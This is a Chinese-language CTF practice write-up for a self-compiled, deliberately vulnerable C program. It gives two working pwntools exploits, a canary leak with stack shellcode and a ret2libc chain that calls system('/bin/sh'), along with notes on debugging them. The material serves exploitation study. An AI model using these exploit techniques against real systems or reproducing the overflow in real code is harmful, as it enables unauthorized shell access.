pwn第一周

源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


void setbufs()
{
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 1, 0);
    setvbuf(stderr, 0, 1, 0);
}

int main()
{
    char tips[]="suuuuuuuper easy test.";
    char buf[32];
    int len;
    setbufs();
    puts(tips);
    read(0, buf, 4);
    len = atoi(buf);
    read(0, buf, len);
    printf("%p:", &buf);
    puts(buf);
    read(0, buf, 0x100);
    return 0;
}
进行编译

gcc -g -no-pie -z execstack -fstack-protector-all exercise.c -o exercise

无pie,无stack,有canary。

分析程序流程

首先读取输入长度的4个字符,把4个字符转换为整形数字作为下一次读取输入的长度,获取输入之后,打印出输入的地址,和输入的值,最后再一次获取输入的值,赋值给buf。

从栈上写shellcode来getshell

思路:首先由canary保护,又由于有输出输入的值,必然会造成canary的泄露。其次又输出了地址,即告诉了地址的值,便可以知道栈的位置,即shellcode写入的地址便可以知道,起初shellcode写在BUF地址处,行不通,调试发现,canary异或时的数值不对,于是知道了shellcode的字节数大于40,于是便将shellcode写入返回地址的下方

exp如下

#!/usr/bin/env python

from pwn import *
#io=remote("192.168.91.139",10001)
io=process('./exercise')

io.recv()

io.send('1111')

io.sendline('A'*40)
io.recv(2)

shellcode_address=int(io.recv(12),16)

shellcode_address+=64

log.info(hex(shellcode_address))

io.recvuntil('A'*40)

Canary=u64(io.recv(8))-0xa

log.info(hex(Canary))
shellcode = asm(shellcraft.amd64.sh(),arch='amd64')

payload=40*'A'+p64(Canary)+'A'*8+p64(shellcode_address)+shellcode
io.sendline(payload)
io.interactive()

使用rop来getshell

思路:

payload=40*'A'+p64(canary)+'A'*8+p64(puts_plt)+p64(main)+p64(libc_start_main_got)#0x4005F0是puts的PLT的地址

起初模仿wiki上的32位ELF进行rop发现vpcmpeqb ymm1, ymm0, ymmword ptr [rdi]指令出现问题。

查阅资料发现在64位环境下,函数的调用所需要的参数是优先通过寄存器来进行的。寄存器的顺序如下:rdi,rsi,rdx,rcx,r8,r9。当一个函数有大于6个整形参数,则超出的部分会通过栈来传递,这个情况少见。

搞了很久搞不出来,之后问了下室友,顺便看了一下别人的wp

使用ldd -d <文件名> 获取libc库名称和路径。利用cp -p 到桌面,静态加载libc库。泄露canary之后再泄露PUTS的GOT表地址之后,获取system地址和'/bin/sh'的字符串地址,之后再一次劫持

EXP如下

#/usr/bin/env python
from pwn import *
p = process('./exercise')
libc = ELF('./libc64.so')
elf = ELF('./exercise')

p.recvuntil('test.')
p.sendline('100')
p.send('a'*41)
p.recv()
recv = p.recv()
canary = '\x00' + recv[56:63]
print 'canary='+ canary


pop_rdi_ret_addr = 0x0000000000400913
main_addr = 0x4007BF

payload1 = 'a'*40 + canary + 'a'*8 + p64(pop_rdi_ret_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)  

p.sendline(payload1)

puts_addr=u64(p.recv(8)[0:6].ljust(8,'\x00'))
print 'puts_addr='+ hex(puts_addr)


libc_base = puts_addr - libc.symbols['puts']
system_addr=libc_base + libc.symbols['system']
sh_addr = libc_base + libc.search('/bin/sh').next()

p.recvline()
p.sendline('100')
p.send('a'*41)
p.recvline()
payload2 = 'a'*40 + canary + 'a'*8 +p64(pop_rdi_ret_addr) + p64(sh_addr)  +p64(system_addr) + p64(0xdeadbeef)        
p.sendline(payload2)
p.interactive()

猜你喜欢

转载自www.cnblogs.com/playmak3r/p/12064815.html